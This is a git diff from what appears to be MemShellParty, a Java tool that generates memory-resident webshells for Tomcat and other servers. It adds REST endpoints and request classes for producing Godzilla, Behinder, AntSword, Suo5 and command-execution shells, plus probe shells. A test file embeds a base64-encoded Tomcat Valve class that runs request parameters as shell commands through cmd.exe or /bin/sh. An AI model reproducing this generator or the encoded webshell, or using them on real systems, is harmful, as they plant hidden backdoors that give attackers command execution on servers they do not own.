for (String shellTool : server.getSupportedShellTools()) {
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
if (supportedShellTypes.isEmpty()) {
continue;
}
map.put(shellTool.name(), supportedShellTypes);
map.put(shellTool, supportedShellTypes);
}
coreMap.put(value.name(), map);
coreMap.put(supportedServer, map);
}
return coreMap;
}
@@ -69,4 +80,64 @@ public class ConfigController {
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
return commandConfigVO;
}
}
public static class PackerCategoryDTO {
private String name;
private List<PackerOptionDTO> packers;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public List<PackerOptionDTO> getPackers() {
return packers;
}
public void setPackers(List<PackerOptionDTO> packers) {
this.packers = packers;
}
}
public static class PackerOptionDTO {
private String name;
private String outputKind;
private boolean categoryAnchor;
private Object schema;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getOutputKind() {
return outputKind;
}
public void setOutputKind(String outputKind) {
this.outputKind = outputKind;
}
public boolean isCategoryAnchor() {
return categoryAnchor;
}
public void setCategoryAnchor(boolean categoryAnchor) {
this.categoryAnchor = categoryAnchor;
}
public Object getSchema() {
return schema;
}
public void setSchema(Object schema) {
this.schema = schema;
}
}
}
@@ -1,40 +0,0 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.dto.GenerateRequest;
import com.reajason.javaweb.boot.dto.GenerateResponse;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
import org.springframework.web.bind.annotation.*;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/18
*/
@RestController
@RequestMapping("/generate")
@CrossOrigin("*")
public class GeneratorController {
@PostMapping
public GenerateResponse generate(@RequestBody GenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof JarPacker) {
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)));
} else if (packer instanceof AggregatePacker) {
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult));
} else {
return new GenerateResponse(generateResult, packer.pack(generateResult));
}
}
}
@@ -0,0 +1,47 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.JarPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import org.springframework.web.bind.annotation.*;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/18
*/
@RestController
@RequestMapping("/api/memshell/generate")
@CrossOrigin("*")
public class MemShellGeneratorController {
@PostMapping
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
if (request.getPackerSpec() == null) {
throw new IllegalArgumentException("packerSpec is required");
}
Packers packers = Packers.fromName(request.getPackerSpec().getName());
Packer<?> packer = packers.getInstance();
if (packer instanceof JarPacker) {
JarPackerConfig<?> jarPackerConfig = generateResult.toJarPackerConfig();
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(jarPackerConfig)));
}
ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
return new MemShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
}
}
@@ -0,0 +1,36 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ProbeContentConfig;
import org.springframework.web.bind.annotation.*;
/**
* @author ReaJason
* @since 2025/8/10
*/
@RestController
@RequestMapping("/api/probe/generate")
@CrossOrigin("*")
public class ProbeShellGeneratorController {
@PostMapping
public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
ProbeConfig probeConfig = request.getProbeConfig();
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
if (request.getPackerSpec() == null) {
throw new IllegalArgumentException("packerSpec is required");
}
Packers packers = Packers.fromName(request.getPackerSpec().getName());
Packer packer = packers.getInstance();
ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
return new ProbeShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
}
}
@@ -22,7 +22,7 @@ import java.util.Map;
*/
@RestController
@CrossOrigin("*")
@RequestMapping("/version")
@RequestMapping("/api/version")
public class VersionController {
@Value("${spring.application.version}")
@@ -1,16 +1,70 @@
package com.reajason.javaweb.boot.controller;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ClassPathResource;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.util.FileCopyUtils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
/**
* @author ReaJason
* @since 2024/12/19
*/
@Controller
@Slf4j
public class ViewController {
@GetMapping("/")
public String index(){
return "index";
return "redirect:/ui";
}
@GetMapping({"/api/search", "/api/search.data"})
@ResponseBody
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
String relativePath = fullPath.substring(1);
return renderFileData(relativePath, response);
}
@GetMapping("/ui/**")
@SneakyThrows
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
return "index";
}
String docPath = fullPath.substring(4);
if (docPath.endsWith(".data")) {
return ResponseEntity.ok(renderFileData(docPath, response));
}
return docPath + "/index";
}
private String renderFileData(String relativePath, HttpServletResponse response) {
try {
String templatePath = "templates/" + relativePath;
ClassPathResource resource = new ClassPathResource(templatePath);
if (!resource.exists()) {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return "File not found: " + relativePath;
}
InputStreamReader reader = new InputStreamReader(
resource.getInputStream(),
StandardCharsets.UTF_8
);
return FileCopyUtils.copyToString(reader);
} catch (IOException e) {
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
return "Error reading file: " + e.getMessage();
}
}
}
@@ -1,29 +0,0 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/18
*/
@Data
@NoArgsConstructor
public class GenerateResponse {
private GenerateResult generateResult;
private String packResult;
private Map<String, String> allPackResults;
public GenerateResponse(GenerateResult generateResult, String packResult) {
this.generateResult = generateResult;
this.packResult = packResult;
}
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.generateResult = generateResult;
}
}
@@ -1,28 +1,28 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.Data;
import org.apache.commons.lang3.StringUtils;
import static com.reajason.javaweb.memshell.ShellTool.*;
/**
* @author ReaJason
* @since 2024/12/18
*/
@Data
public class GenerateRequest {
public class MemShellGenerateRequest {
private ShellConfig shellConfig;
private ShellToolConfigDTO shellToolConfig;
private InjectorConfig injectorConfig;
private Packers packer;
private PackerRequestSpecDTO packerSpec;
@Data
static class ShellToolConfigDTO {
public static class ShellToolConfigDTO {
private String shellClassName;
private String godzillaPass;
private String godzillaKey;
private String commandParamName;
private String commandTemplate;
private String behinderPass;
private String antSwordPass;
private String headerName;
@@ -36,44 +36,51 @@ public class GenerateRequest {
return switch (shellConfig.getShellTool()) {
case Godzilla -> GodzillaConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8)))
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8)))
.pass(shellToolConfig.getGodzillaPass())
.key(shellToolConfig.getGodzillaKey())
.headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.headerValue(shellToolConfig.getHeaderValue())
.build();
case Behinder -> BehinderConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8)))
.pass(shellToolConfig.getBehinderPass())
.headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.headerValue(shellToolConfig.getHeaderValue())
.build();
case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
.paramName(shellToolConfig.getCommandParamName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.template(shellToolConfig.getCommandTemplate())
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
.build();
case Suo5 -> Suo5Config.builder()
case Suo5, Suo5v2 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.headerValue(shellToolConfig.getHeaderValue())
.build();
case AntSword -> AntSwordConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8)))
.pass(shellToolConfig.getAntSwordPass())
.headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.headerValue(shellToolConfig.getHeaderValue())
.build();
case NeoreGeorg -> NeoreGeorgConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.headerValue(shellToolConfig.getHeaderValue())
.build();
case Custom -> CustomConfig.builder()
.shellClassBase64(shellToolConfig.getShellClassBase64())
.shellClassName(shellToolConfig.getShellClassName())
.build();
case Proxy -> ProxyConfig.builder()
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.shellClassName(shellToolConfig.shellClassName).build();
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
};
}
}
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.MemShellResult;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
/**
* @author ReaJason
* @since 2024/12/18
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
public class MemShellGenerateResponse {
private MemShellResult memShellResult;
private String packResult;
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.packer.spec.PackerRequestSpec;
import lombok.Data;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* Packer selection request payload.
*/
@Data
public class PackerRequestSpecDTO {
private String name;
private Map<String, Object> config = new LinkedHashMap<>();
public PackerRequestSpec toPackerRequestSpec() {
PackerRequestSpec spec = new PackerRequestSpec();
spec.setName(name);
if (config != null) {
spec.setConfig(config);
}
return spec;
}
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.probe.config.*;
import lombok.Data;
/**
* @author ReaJason
* @since 2025/8/10
*/
@Data
public class ProbeShellGenerateRequest {
private ProbeConfig probeConfig;
private ProbeContentConfigDTO probeContentConfig;
private PackerRequestSpecDTO packerSpec;
@Data
static class ProbeContentConfigDTO {
private String host;
private int seconds;
private String server;
private String sleepServer;
private String reqParamName;
private String commandTemplate;
}
public ProbeContentConfig parseProbeContentConfig() {
return switch (probeConfig.getProbeMethod()) {
case DNSLog -> DnsLogConfig.builder()
.host(probeContentConfig.host)
.build();
case Sleep -> SleepConfig.builder()
.seconds(probeContentConfig.seconds)
.server(probeContentConfig.sleepServer)
.build();
case ResponseBody -> ResponseBodyConfig.builder()
.reqParamName(probeContentConfig.reqParamName)
.commandTemplate(probeContentConfig.commandTemplate)
.server(probeContentConfig.server)
.build();
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
};
}
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.probe.ProbeShellResult;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
/**
* @author ReaJason
* @since 2025/8/10
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
public class ProbeShellGenerateResponse {
private ProbeShellResult probeShellResult;
private String packResult;
}
@@ -1,7 +1,7 @@
package com.reajason.javaweb.boot.entity;
import lombok.Data;
import lombok.Builder;
import lombok.Data;
/**
* @author ReaJason
+4 -1
View File
@@ -1,4 +1,7 @@
spring:
application:
name: boot
version: ${version}
version: ${version}
mvc:
pathmatch:
matching-strategy: ant_path_matcher
@@ -0,0 +1,18 @@
package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2025/11/10
*/
class ClassNameParseControllerTest {
@Test
void test(){
ClassNameParseController classNameParseController = new ClassNameParseController();
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
}
}
@@ -9,9 +9,12 @@ import org.springframework.http.ResponseEntity;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
@@ -26,31 +29,15 @@ public class ConfigControllerIntegrationTest {
@Test
public void testConfigEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
Map body = response.getBody();
assertNotNull(body);
assertNotNull(response.getBody());
}
@Test
public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
Map body = response.getBody();
assertNotNull(body);
assertNotNull(response.getBody());
}
@Test
public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
List<String> body = response.getBody();
assertNotNull(body);
}
}
}
@@ -0,0 +1,79 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
import com.reajason.javaweb.boot.dto.PackerRequestSpecDTO;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import java.util.Map;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
/**
* @author ReaJason
* @since 2025/9/16
*/
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class MemShellGeneratorControllerTest {
@Autowired
TestRestTemplate restTemplate;
@Test
void generateShell() {
MemShellGenerateRequest request = buildRequest("ScriptEngine", null);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
@Test
void generateJspxShellWithCustomConfig() {
MemShellGenerateRequest request = buildRequest("JSPX", Map.of("unicode", true));
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
private static MemShellGenerateRequest buildRequest(String packerName, Map<String, Object> packerConfig) {
MemShellGenerateRequest request = new MemShellGenerateRequest();
request.setShellConfig(ShellConfig.builder()
.server(Server.Tomcat)
.shellType(ShellType.FILTER)
.shellTool(ShellTool.Godzilla)
.shrink(true)
.debug(true)
.serverVersion("Unknown")
.targetJreVersion(50)
.build());
request.setInjectorConfig(InjectorConfig.builder()
.urlPattern("/*")
.build());
PackerRequestSpecDTO packerRequestSpecDTO = new PackerRequestSpecDTO();
packerRequestSpecDTO.setName(packerName);
if (packerConfig != null) {
packerRequestSpecDTO.setConfig(packerConfig);
}
request.setPackerSpec(packerRequestSpecDTO);
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
shellToolConfigDTO.setGodzillaKey("key");
shellToolConfigDTO.setGodzillaPass("pass");
shellToolConfigDTO.setHeaderName("User-Agent");
shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO);
return request;
}
}
+11
View File
@@ -0,0 +1,11 @@
plugins {
`kotlin-dsl`
}
repositories {
mavenCentral()
}
dependencies {
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
}
+1
View File
@@ -0,0 +1 @@
rootProject.name = "build-logic"
@@ -0,0 +1,38 @@
plugins {
id("com.vanniktech.maven.publish")
}
mavenPublishing {
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
signAllPublications()
coordinates(
"io.github.reajason",
project.name,
rootProject.version as String
)
pom {
name.set("MemShellParty")
description.set(project.description)
url.set("https://github.com/ReaJason/MemShellParty")
inceptionYear.set("2025")
licenses {
license {
name.set("MIT")
url.set("https://spdx.org/licenses/MIT.html")
}
}
developers {
developer {
id.set("reajason")
name.set("ReaJason")
url.set("https://reajason.eu.org")
}
}
scm {
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
url.set("https://github.com/ReaJason/MemShellParty")
}
}
}
-119
View File
@@ -1,119 +0,0 @@
import com.vanniktech.maven.publish.SonatypeHost
version = '1.9.0'
buildscript {
repositories {
mavenCentral()
gradlePluginPortal()
}
dependencies {
classpath 'com.vanniktech:gradle-maven-publish-plugin:0.31.0'
classpath "io.freefair.lombok:io.freefair.lombok.gradle.plugin:8.13.1"
}
}
allprojects {
group = 'io.github.reajason'
if (it.name != 'memshell-party-bom') {
apply(plugin: 'java')
apply(plugin: 'idea')
apply(plugin: 'jacoco')
apply(plugin: 'io.freefair.lombok')
}
apply(plugin: 'com.vanniktech.maven.publish')
mavenPublishing {
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
signAllPublications()
coordinates("io.github.reajason", project.name, rootProject.version as String)
pom {
name = 'MemShellParty'
description = project.description
url = 'https://github.com/ReaJason/MemShellParty'
inceptionYear = '2025'
licenses {
license {
name = 'MIT'
url = 'https://spdx.org/licenses/MIT.html'
}
}
developers {
developer {
id = 'reajason'
name = 'ReaJason'
url = "https://reajason.eu.org"
}
}
scm {
connection = 'scm:git:https://github.com/ReaJason/MemShellParty.git'
developerConnection = 'scm:git:ssh://github.com/ReaJason/MemShellParty.git'
url = 'https://github.com/ReaJason/MemShellParty'
}
}
}
if (it.name != 'memshell-party-bom' && !it.name.startsWith("vul")) {
dependencies {
implementation platform(project(':memshell-party-bom'))
}
}
repositories {
mavenCentral()
}
}
idea {
module {
excludeDirs += file('src')
}
}
jacocoTestReport {
reports {
xml.required = true
csv.required = true
html.required = true
}
afterEvaluate {
executionData.from fileTree(rootDir) {
include '**/build/jacoco/**/*.exec'
}
sourceDirectories = files('generator/src/main/java')
classDirectories.from(
fileTree('generator/build/classes/java/main') {
excludes = [
'com/reajason/javaweb/memshell/**/godzilla/**',
'com/reajason/javaweb/memshell/**/injector/**',
'com/reajason/javaweb/memshell/**/command/**',
'com/reajason/javaweb/config/**'
]
}
)
}
}
tasks.register('publishAllToMavenCentral') {
def isSnapshot = rootProject.version.toString().endsWith('-SNAPSHOT')
if (isSnapshot) {
dependsOn ':memshell-party-bom:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell-party-common:publishAllPublicationsToMavenCentralRepository'
dependsOn ':deserialize:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell-java8:publishAllPublicationsToMavenCentralRepository'
dependsOn ':generator:publishAllPublicationsToMavenCentralRepository'
} else {
dependsOn ':memshell-party-bom:publishAndReleaseToMavenCentral'
dependsOn ':memshell-party-common:publishAndReleaseToMavenCentral'
dependsOn ':deserialize:publishAndReleaseToMavenCentral'
dependsOn ':memshell:publishAndReleaseToMavenCentral'
dependsOn ':memshell-java8:publishAndReleaseToMavenCentral'
dependsOn ':generator:publishAndReleaseToMavenCentral'
}
}
+27
View File
@@ -0,0 +1,27 @@
plugins {
id("java")
id("idea")
id("com.vanniktech.maven.publish") version "0.35.0" apply false
}
idea {
module {
excludeDirs.add(file("src"))
}
}
version = "2.7.0-SNAPSHOT"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
dependsOn(":packer:publishToMavenCentral")
dependsOn(":generator:publishToMavenCentral")
dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenCentral")
}
tasks.register("publishAllToMavenLocal") {
dependsOn(":memshell-party-common:publishToMavenLocal")
dependsOn(":packer:publishToMavenLocal")
dependsOn(":generator:publishToMavenLocal")
dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenLocal")
}
-28
View File
@@ -1,28 +0,0 @@
group = 'io.github.reajason'
description = "Java deserialize payload for MemShellParty"
version = rootProject.version
dependencies {
implementation project(":memshell-party-common")
